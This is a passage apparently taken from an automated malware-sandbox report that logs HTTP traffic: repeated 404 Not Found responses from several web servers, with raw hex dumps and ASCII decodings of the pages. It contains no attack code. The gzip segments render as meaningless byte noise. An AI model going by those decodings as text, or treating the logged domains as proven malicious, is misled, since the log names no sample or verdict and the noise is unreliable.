66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif;
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 09 Oct 2024 12:02:32 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://newdaydawning.net/wp-json/>; rel="https://api.w.org/"Connection: closeTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8Data Raw: 31 36 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 0d 0a 32 64 0d 0a 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 20 70 72 65 66 69 78 3d 22 6f 67 3a 20 68 74 74 70 73 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 23 22 20 0d 0a 35 31 0d 0a 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 0d 0a Data Ascii: 16<!doctype html><html 2dlang="en-US" prefix="og: https://ogp.me/ns#" 51><head><link rel="profile" href="https://gmpg.org/xfn/11"><meta charset="
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 09 Oct 2024 12:02:34 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://newdaydawning.net/wp-json/>; rel="https://api.w.org/"Connection: closeTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8Data Raw: 31 36 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 0d 0a 37 65 0d 0a 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 20 70 72 65 66 69 78 3d 22 6f 67 3a 20 68 74 74 70 73 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 23 22 20 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 0d 0a Data Ascii: 16<!doctype html><html 7elang="en-US" prefix="og: https://ogp.me/ns#" ><head><link rel="profile" href="https://gmpg.org/xfn/11"><meta charset="
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeDate: Wed, 09 Oct 2024 12:02:43 GMTServer: ApacheX-Frame-Options: denyContent-Encoding: gzipData Raw: 32 33 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 85 54 4d 6f d3 40 10 bd f7 57 4c 8d 50 40 c4 71 7a 43 89 dd 03 b4 54 20 a8 2b 35 12 42 e2 b2 f6 8e ed 69 ed dd 68 77 9d 0f 10 ff 9d f1 3a 91 12 e2 92 5c a2 9d 8f f7 76 df 9b 71 7c 79 93 7e 5c fc 78 b8 85 ca 35 f5 f5 45 dc ff 41 5c a1 90 d7 17 00 71 83 4e 40 5e 09 63 d1 25 41 eb 8a f0 7d e0 13 d6 6d 6b 04 b7 5d 62 12 38 dc b8 28 b7 d6 67 3c d4 18 32 2d b7 63 78 b5 14 c6 29 34 63 a0 c2 88 06 e1 37 83 1e ff 2a a4 b2 72 b3 ab e9 f4 f5 fc 24 b9 26 e9 aa 17 72 8d 30 25 a9 d9 f4 b4 6b 29 a4 24 55 0e a5 32 6d 24 9a a1 8c 6e 5d 4d 0a 87 52 85 56 2e b4 f4 0b 5f b8 c9 0a 8d a3 5c d4 a1 a8 a9 54 b3 4c 58 ec a0 4e 2f 96 89 fc b9 34 ba 55 72 e6 8c 50 96 d5 41 e5 8e eb fe 1c 89 d0 c9 38 20 9a 66 ca a2 d6 eb 59 45 52 a2 3a 45 88 23 6f d0 81 87 fc 06 e6 4a 82 fb f4 7b 00 8a bd 48 02 dc 2c c9 60 6f db ce e9 7d 15 29 89 9b 31 14 ba 66 96 31 88 ba de 37 dd a5 e9 dd d7 db 0f e9 a2 9f 83 7e 40 ce b7 19 9d 69 b7 a3 ba 0c 43 f8 e4 91 d9 25 f8 c6 23 16 2e 44 09 05 6d d0 82 65 21 39 1c 92 b5 2d 1f b5 82 46 67 c4 b3 26 71 45 39 47 c2 70 e0 55 7e 50 92 be 24 f4 87 39 90 22 47 ec 4a 87 88 c9 d5 64 3a 87 46 6c a8 69 9b c3 50 6b d1 f8 b3 c8 b8 6a 3a df bf 73 45 b8 5e 6a e3 ba 67 c6 d1 6e 21 e2 ce 0f 4f 2f 69 05 24 93 60 37 e0 bd 18 11 47 7d d6 e6 86 96 ee 70 3d 9e c4 4a f4 d1 7e 4b a4 ce db 86 0d 99 ac 0d 39 7c 73 64 fa 7e 41 46 f1 7f 71 a0 16 aa 6c 45 c9 4e 7e 61 f4 47 cf 19 8c 06 a1 f6 90 ef 60 64 4d 9e 04 51 64 51 6a be fc 33 6b 3d c9 75 13 15 a6 e9 8e d1 b9 fe 35 8f 86 5e 4f 6a 9d 0b 47 5a 4d 2a 6d 1d 30 ec d9 c6 d1 e7 f4 3e 7d 7c e8 29 6f 6e cf f1 8c a2 ee 3a 93 27 9e 99 e1 52 e6 8c 7f 46 bd 42 ff 94 bc ed 16 82 57 c0 2b e2 fd eb 7d 63 1f bb ef dc 5f 9d a7 e3 e7 f7 04 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 239TMo@WLP@qzCT +5Bihw:\vq\|y~\x5EA\qN@^c%A}mk]b8(g<2-cx)4c7r$&r0%k)$U2m$n]MRV._\TLXN/4UrPA8 fYER:E#oJ{H,`o})1f17~@iC%#.Dme!9-Fg&qE9GpU~P$9"GJd:FliPkj:sE^jgn!O/i$`7G}p=J~K9\|sd~AFqlEN~aG`dMQdQj3k=u5^OjGZMm0>}\|)on:'RFBW+}c_0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeDate: Wed, 09 Oct 2024 12:02:46 GMTServer: ApacheX-Frame-Options: denyContent-Encoding: gzipData Raw: 32 33 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 85 54 4d 6f d3 40 10 bd f7 57 4c 8d 50 40 c4 71 7a 43 89 dd 03 b4 54 20 a8 2b 35 12 42 e2 b2 f6 8e ed 69 ed dd 68 77 9d 0f 10 ff 9d f1 3a 91 12 e2 92 5c a2 9d 8f f7 76 df 9b 71 7c 79 93 7e 5c fc 78 b8 85 ca 35 f5 f5 45 dc ff 41 5c a1 90 d7 17 00 71 83 4e 40 5e 09 63 d1 25 41 eb 8a f0 7d e0 13 d6 6d 6b 04 b7 5d 62 12 38 dc b8 28 b7 d6 67 3c d4 18 32 2d b7 63 78 b5 14 c6 29 34 63 a0 c2 88 06 e1 37 83 1e ff 2a a4 b2 72 b3 ab e9 f4 f5 fc 24 b9 26 e9 aa 17 72 8d 30 25 a9 d9 f4 b4 6b 29 a4 24 55 0e a5 32 6d 24 9a a1 8c 6e 5d 4d 0a 87 52 85 56 2e b4 f4 0b 5f b8 c9 0a 8d a3 5c d4 a1 a8 a9 54 b3 4c 58 ec a0 4e 2f 96 89 fc b9 34 ba 55 72 e6 8c 50 96 d5 41 e5 8e eb fe 1c 89 d0 c9 38 20 9a 66 ca a2 d6 eb 59 45 52 a2 3a 45 88 23 6f d0 81 87 fc 06 e6 4a 82 fb f4 7b 00 8a bd 48 02 dc 2c c9 60 6f db ce e9 7d 15 29 89 9b 31 14 ba 66 96 31 88 ba de 37 dd a5 e9 dd d7 db 0f e9 a2 9f 83 7e 40 ce b7 19 9d 69 b7 a3 ba 0c 43 f8 e4 91 d9 25 f8 c6 23 16 2e 44 09 05 6d d0 82 65 21 39 1c 92 b5 2d 1f b5 82 46 67 c4 b3 26 71 45 39 47 c2 70 e0 55 7e 50 92 be 24 f4 87 39 90 22 47 ec 4a 87 88 c9 d5 64 3a 87 46 6c a8 69 9b c3 50 6b d1 f8 b3 c8 b8 6a 3a df bf 73 45 b8 5e 6a e3 ba 67 c6 d1 6e 21 e2 ce 0f 4f 2f 69 05 24 93 60 37 e0 bd 18 11 47 7d d6 e6 86 96 ee 70 3d 9e c4 4a f4 d1 7e 4b a4 ce db 86 0d 99 ac 0d 39 7c 73 64 fa 7e 41 46 f1 7f 71 a0 16 aa 6c 45 c9 4e 7e 61 f4 47 cf 19 8c 06 a1 f6 90 ef 60 64 4d 9e 04 51 64 51 6a be fc 33 6b 3d c9 75 13 15 a6 e9 8e d1 b9 fe 35 8f 86 5e 4f 6a 9d 0b 47 5a 4d 2a 6d 1d 30 ec d9 c6 d1 e7 f4 3e 7d 7c e8 29 6f 6e cf f1 8c a2 ee 3a 93 27 9e 99 e1 52 e6 8c 7f 46 bd 42 ff 94 bc ed 16 82 57 c0 2b e2 fd eb 7d 63 1f bb ef dc 5f 9d a7 e3 e7 f7 04 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 239TMo@WLP@qzCT +5Bihw:\vq\|y~\x5EA\qN@^c%A}mk]b8(g<2-cx)4c7r$&r0%k)$U2m$n]MRV._\TLXN/4UrPA8 fYER:E#oJ{H,`o})1f17~@iC%#.Dme!9-Fg&qE9GpU~P$9"GJd:FliPkj:sE^jgn!O/i$`7G}p=J~K9\|sd~AFqlEN~aG`dMQdQj3k=u5^OjGZMm0>}\|)on:'RFBW+}c_0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeDate: Wed, 09 Oct 2024 12:02:49 GMTServer: ApacheX-Frame-Options: denyContent-Encoding: gzipData Raw: 32 33 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 85 54 4d 6f d3 40 10 bd f7 57 4c 8d 50 40 c4 71 7a 43 89 dd 03 b4 54 20 a8 2b 35 12 42 e2 b2 f6 8e ed 69 ed dd 68 77 9d 0f 10 ff 9d f1 3a 91 12 e2 92 5c a2 9d 8f f7 76 df 9b 71 7c 79 93 7e 5c fc 78 b8 85 ca 35 f5 f5 45 dc ff 41 5c a1 90 d7 17 00 71 83 4e 40 5e 09 63 d1 25 41 eb 8a f0 7d e0 13 d6 6d 6b 04 b7 5d 62 12 38 dc b8 28 b7 d6 67 3c d4 18 32 2d b7 63 78 b5 14 c6 29 34 63 a0 c2 88 06 e1 37 83 1e ff 2a a4 b2 72 b3 ab e9 f4 f5 fc 24 b9 26 e9 aa 17 72 8d 30 25 a9 d9 f4 b4 6b 29 a4 24 55 0e a5 32 6d 24 9a a1 8c 6e 5d 4d 0a 87 52 85 56 2e b4 f4 0b 5f b8 c9 0a 8d a3 5c d4 a1 a8 a9 54 b3 4c 58 ec a0 4e 2f 96 89 fc b9 34 ba 55 72 e6 8c 50 96 d5 41 e5 8e eb fe 1c 89 d0 c9 38 20 9a 66 ca a2 d6 eb 59 45 52 a2 3a 45 88 23 6f d0 81 87 fc 06 e6 4a 82 fb f4 7b 00 8a bd 48 02 dc 2c c9 60 6f db ce e9 7d 15 29 89 9b 31 14 ba 66 96 31 88 ba de 37 dd a5 e9 dd d7 db 0f e9 a2 9f 83 7e 40 ce b7 19 9d 69 b7 a3 ba 0c 43 f8 e4 91 d9 25 f8 c6 23 16 2e 44 09 05 6d d0 82 65 21 39 1c 92 b5 2d 1f b5 82 46 67 c4 b3 26 71 45 39 47 c2 70 e0 55 7e 50 92 be 24 f4 87 39 90 22 47 ec 4a 87 88 c9 d5 64 3a 87 46 6c a8 69 9b c3 50 6b d1 f8 b3 c8 b8 6a 3a df bf 73 45 b8 5e 6a e3 ba 67 c6 d1 6e 21 e2 ce 0f 4f 2f 69 05 24 93 60 37 e0 bd 18 11 47 7d d6 e6 86 96 ee 70 3d 9e c4 4a f4 d1 7e 4b a4 ce db 86 0d 99 ac 0d 39 7c 73 64 fa 7e 41 46 f1 7f 71 a0 16 aa 6c 45 c9 4e 7e 61 f4 47 cf 19 8c 06 a1 f6 90 ef 60 64 4d 9e 04 51 64 51 6a be fc 33 6b 3d c9 75 13 15 a6 e9 8e d1 b9 fe 35 8f 86 5e 4f 6a 9d 0b 47 5a 4d 2a 6d 1d 30 ec d9 c6 d1 e7 f4 3e 7d 7c e8 29 6f 6e cf f1 8c a2 ee 3a 93 27 9e 99 e1 52 e6 8c 7f 46 bd 42 ff 94 bc ed 16 82 57 c0 2b e2 fd eb 7d 63 1f bb ef dc 5f 9d a7 e3 e7 f7 04 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 239TMo@WLP@qzCT +5Bihw:\vq\|y~\x5EA\qN@^c%A}mk]b8(g<2-cx)4c7r$&r0%k)$U2m$n]MRV._\TLXN/4UrPA8 fYER:E#oJ{H,`o})1f17~@iC%#.Dme!9-Fg&qE9GpU~P$9"GJd:FliPkj:sE^jgn!O/i$`7G}p=J~K9\|sd~AFqlEN~aG`dMQdQj3k=u5^OjGZMm0>}\|)on:'RFBW+}c_0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlContent-Length: 1271Connection: closeDate: Wed, 09 Oct 2024 12:02:51 GMTServer: ApacheX-Frame-Options: denyData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 68 74 6d 6c 2c 20 62 6f 64 79 2c 20 23 70 61 72 74 6e 65 72 2c 20 69 66 72 61 6d 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 3a 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6f 75 74 6c 69 6e 65 3a 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 62 61 73 65 6c 69 6e 65 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 74 72 61 6e 73 70 61 72 65 6e 74 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 3c 2f 73 74 79 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 4e 4f 57 22 20 6e 61 6d 65 3d 22 65 78 70 69 72 65 73 22 3e 0a 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 2c 20 61 6c 6c 22 20 6e 61 6d 65 3d 22 47 4f 4f 47 4c 45 42 4f 54 22 3e 0a 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 2c 20 61 6c 6c 22 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 3e 0a 20 20 3c 21 2d 2d 20 46 6f 6c 6c 6f 77 69 6e 67 20 4d 65 74 61 2d 54 61 67 20 66 69 78 65 73 20 73 63 61 6c 69 6e 67 2d 69 73 73 75 65 73 20 6f 6e 20 6d 6f 62 69 6c 65 20 64 65 76 69 63 65 73 20 2d 2d 3e 0a 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 3b 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 3b 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 3b 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 30 3b 22 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 3e 0a 20 20 3c 64 69 76 20 69 64 3d 22 70 61 72 74 6e 65 72 22 3e 0a 20 20 3c 2f 64 69 76 3e 0a 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 27 3c 73 63 72 69 70 74 20 74 79 70 65 3d 2
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 09 Oct 2024 12:02:57 GMTServer: ApacheX-Frame-Options: SAMEORIGINContent-Length: 774X-XSS-Protection: 1; mode=blockConnection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 0d 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 6f 3a 34 30 30 2c 37 30 30 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 63 73 73 2f 73 74 79 6c 65 34 30 34 2e 63 73 73 22 20 2f 3e 0d 0a 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 0d 0a 3c 62 6f 64 79 3e 0d 0a 0d 0a 09 3c 64 69 76 20 69 64 3d 22 6e 6f 74 66 6f 75 6e 64 22 3e 0d 0a 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 74 66 6f 75 6e 64 22 3e 0d 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 74 66 6f 75 6e 64 2d 34 30 34 22 3e 0d 0a 09 09 09 09 3c 68 31 3e 34 3c 73 70 61 6e 3e 30 3c 2f 73 70 61 6e 3e 34 3c 2f 68 31 3e 0d 0a 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 3c 68 32 3e 74 68 65 20 70 61 67 65 20 79 6f 75 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 66 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 09 09 09 3c 66 6f 72 6d 20 63 6c 61 73 73 3d 22 6e 6f 74 66 6f 75 6e 64 2d 73 65 61 72 63 68 22 3e 0d 0a 09 09 09 09 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 74 65 78 74 22 20 70 6c 61 63 65 68 6f 6c 64 65 72 3d 22 53 65 61 72 63 68 2e 2e 2e 22 3e 0d 0a 09 09 09 09 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 3e 3c 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 3c 2f 62 75 74 74 6f 6e 3e 0d 0a 09 09 09 3c 2f 66 6f 72 6d 3e 0d 0a 09 09 3c 2f 64 69 76 3e 0d 0a 09 3c 2f 64 69 76 3e 0d 0a 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><title>404 Not Found</title><link href="https://fonts.googleapis.com/css?family=Roboto:400,700" rel="stylesheet"><link type="text/css" rel="stylesheet" href="/css/style404.css" /></head><body><div id="notfound"><div class="
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 09 Oct 2024 12:02:59 GMTServer: ApacheX-Frame-Options: SAMEORIGINContent-Length: 774X-XSS-Protection: 1; mode=blockConnection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 0d 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 6f 3a 34 30 30 2c 37 30 30 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 63 73 73 2f 73 74 79 6c 65 34 30 34 2e 63 73 73 22 20 2f 3e 0d 0a 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 0d 0a 3c 62 6f 64 79 3e 0d 0a 0d 0a 09 3c 64 69 76 20 69 64 3d 22 6e 6f 74 66 6f 75 6e 64 22 3e 0d 0a 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 74 66 6f 75 6e 64 22 3e 0d 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 74 66 6f 75 6e 64 2d 34 30 34 22 3e 0d 0a 09 09 09 09 3c 68 31 3e 34 3c 73 70 61 6e 3e 30 3c 2f 73 70 61 6e 3e 34 3c 2f 68 31 3e 0d 0a 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 3c 68 32 3e 74 68 65 20 70 61 67 65 20 79 6f 75 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 66 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 09 09 09 3c 66 6f 72 6d 20 63 6c 61 73 73 3d 22 6e 6f 74 66 6f 75 6e 64 2d 73 65 61 72 63 68 22 3e 0d 0a 09 09 09 09 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 74 65 78 74 22 20 70 6c 61 63 65 68 6f 6c 64 65 72 3d 22 53 65 61 72 63 68 2e 2e 2e 22 3e 0d 0a 09 09 09 09 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 3e 3c 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 3c 2f 62 75 74 74 6f 6e 3e 0d 0a 09 09 09 3c 2f 66 6f 72 6d 3e 0d 0a 09 09 3c 2f 64 69 76 3e 0d 0a 09 3c 2f 64 69 76 3e 0d 0a 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><title>404 Not Found</title><link href="https://fonts.googleapis.com/css?family=Roboto:400,700" rel="stylesheet"><link type="text/css" rel="stylesheet" href="/css/style404.css" /></head><body><div id="notfound"><div class="
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 09 Oct 2024 12:03:02 GMTServer: ApacheX-Frame-Options: SAMEORIGINContent-Length: 774X-XSS-Protection: 1; mode=blockConnection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 0d 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 6f 3a 34 30 30 2c 37 30 30 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 